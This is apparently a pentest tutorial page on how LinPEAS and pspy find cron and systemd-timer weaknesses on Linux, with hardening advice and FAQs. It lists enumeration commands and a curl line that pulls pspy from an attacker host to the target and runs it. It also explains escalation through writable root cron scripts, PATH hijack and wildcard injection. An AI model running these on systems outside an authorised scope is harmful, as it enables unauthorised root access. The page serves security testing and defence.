Quick answer

In the “Processes, Crons, Timers, Services and Sockets” section, LinPEAS reads cron files and checks for writable cron scripts. With -a it also watches running processes for about a minute to catch frequently-run jobs that aren't listed in crontabs. Short-lived jobs that crontabs miss are a job for pspy — see below.

Where it appears in the output#

Cron checks are in the procs_crons_timers_srvcs_sockets section. The process-monitoring check (which spots frequent cron-like jobs) runs only with -a, is noisy, and briefly writes a temp file. LinPEAS reads /etc/crontab, /etc/cron.d/, /etc/cron.daily|hourly|weekly|monthly/, user crontabs and systemd timers, then tests whether the scripts those jobs execute are writable by you.

How to read a cron finding#

  • A root cron job pointing at a writable script is a direct escalation — whatever you write into that script runs as root on the next schedule.
  • Watch for bare command names (no absolute path): if the cron PATH contains a writable directory, you can plant a same-named script (PATH hijack).
  • Watch for wildcards in writable directories (tar cf /backup/*.log) — classic wildcard-injection territory.
  • The “different processes” output (with -a) hints at frequent jobs that are not listed in any crontab — investigate those PIDs and their parent scripts.

Reproduce the enumeration manually#

Reproduce the cron enumeration
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
crontab -l 2>/dev/null; for u in $(cut -d: -f1 /etc/passwd); do crontab -u $u -l 2>/dev/null; done
find /etc/cron* /var/spool/cron -writable 2>/dev/null   # writable cron files/dirs
ls -la /opt/scripts/ 2>/dev/null                         # check the script dirs jobs point at

Catching what crontabs miss: pspy#

LinPEAS reads configured jobs, but short-lived or obfuscated jobs — a script that runs for two seconds every minute, or a job launched outside cron entirely — never appear in a crontab listing. That is what pspy is for: it watches process execution without needing root and shows you exactly what runs, when, and with which arguments — including credentials passed on command lines.

Watch for hidden frequent jobs with pspy
# on your attack box: serve pspy, then on the target (authorised lab only)
curl http://<your-ip>:8000/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy
/tmp/pspy -pf -i 1000   # watch processes + filesystem events, 1s interval
  • Leave pspy running for several minutes — cron granularity is per-minute.
  • Look for root-owned processes executing scripts in writable locations.
  • Full command lines often leak credentials passed as arguments — treat them as sensitive.
  • pspy and LinPEAS complement each other: LinPEAS maps the configured jobs, pspy reveals the actual runtime behaviour.

From a writable cron script to a tested technique (authorised lab)#

In a lab where a root cron job executes a script you can write to, the proof-of-concept is to make the script do something observable and attributable — not to deploy a payload:

  1. 1

  2. 2

  3. 3

  4. 4

Authorised use only

Only test this where you are explicitly authorised — your lab, a CTF, or a contracted scope. Modifying scheduled tasks on any other system is unauthorised access, even if the script is writable.

PATH hijack via cron#

If a root cron line calls a bare command name (backup instead of /usr/local/bin/backup), cron resolves it through its PATH. When that PATH includes a directory you can write to, placing your own executable with the same name there hijacks the next run. LinPEAS prints the cron PATH — check each entry with ls -ld for writability.

How to fix cron findings (defensive)#

  • Cron scripts and their directories must be root-owned and non-writable by others (chown root:root, chmod 755 dirs / 644 files).
  • Use absolute paths in every cron line; never rely on PATH.
  • Set an explicit minimal PATH= at the top of crontabs.
  • Avoid wildcards in commands that operate on writable directories.
  • Prefer systemd timers with User= set explicitly over root crontabs where possible.
  • Monitor for unexpected cron changes — LinPEAS plus a file-integrity check on /etc/cron* catches drift.

Frequently asked questions#

Does LinPEAS show all cron jobs?

It shows all configured jobs it can read: /etc/crontab, /etc/cron.d, the periodic directories, user crontabs and systemd timers. Jobs hidden by permissions, or processes launched outside any scheduler, need runtime observation — that is where pspy helps.

What does the -a process-monitoring check do?

With -a, LinPEAS watches running processes for about a minute and lists distinct processes it saw. Frequently re-executed processes hint at cron-like jobs that are not declared in any crontab. It is noisy and writes a temp file, so it only runs with -a.

A cron script is writable but runs as a non-root user — is it useful?

It escalates you to that user, which can still matter: the other account may own more files, have its own cron jobs, or hold credentials. Chain it with further enumeration.

How is pspy different from LinPEAS for cron?

LinPEAS audits configuration; pspy audits runtime. pspy needs no root, shows short-lived processes crontabs never list, and reveals full command lines. Use LinPEAS first for the map, then pspy to catch what the map missed.

Should I disable cron on servers?

No — cron itself is fine. The fix is ownership and permissions: root-owned, non-writable scripts and directories, absolute paths, and a minimal PATH. Disabling cron breaks legitimate automation.

Background: how cron abuse works, PATH risks. Systemd timers behave similarly — see how LinPEAS reports systemd.

Cron vs systemd timers#

Modern Linux runs both schedulers side by side, and LinPEAS audits both. Know which you are looking at:

cronsystemd timers
Defined in/etc/crontab, /etc/cron.d/, user crontabsUnit files + .timer units
Runs asThe user on the cron lineThe User= of the service (default root)
LinPEAS sectionCron jobs blockSystemd block (services + timers)
PATH behaviourCron's own PATH (often minimal)systemd's PATH (printed by LinPEAS)
Audit commandcat /etc/crontab; ls /etc/cron.d/systemctl list-timers --all

The exploitation logic is identical — a writable script executed on a schedule by a higher-privileged user. Audit both; attackers do.

Cron auditing routine#

  • List every job: system crontabs, cron.d, periodic dirs, all user crontabs, systemd timers.
  • For each job: who runs it, what script/binary it executes, who can write that path.
  • Check the cron PATH for writable entries (PATH hijack).
  • Run LinPEAS with -a for the 1-minute process watch, then pspy for the jobs neither shows.
  • Fix: root-owned non-writable scripts, absolute paths, explicit minimal PATH.

Sources & references

  1. linPEAS README
  2. PEASS-ng release — reviewed 20260908-dffb9496
  3. HackTricks: Linux privilege escalation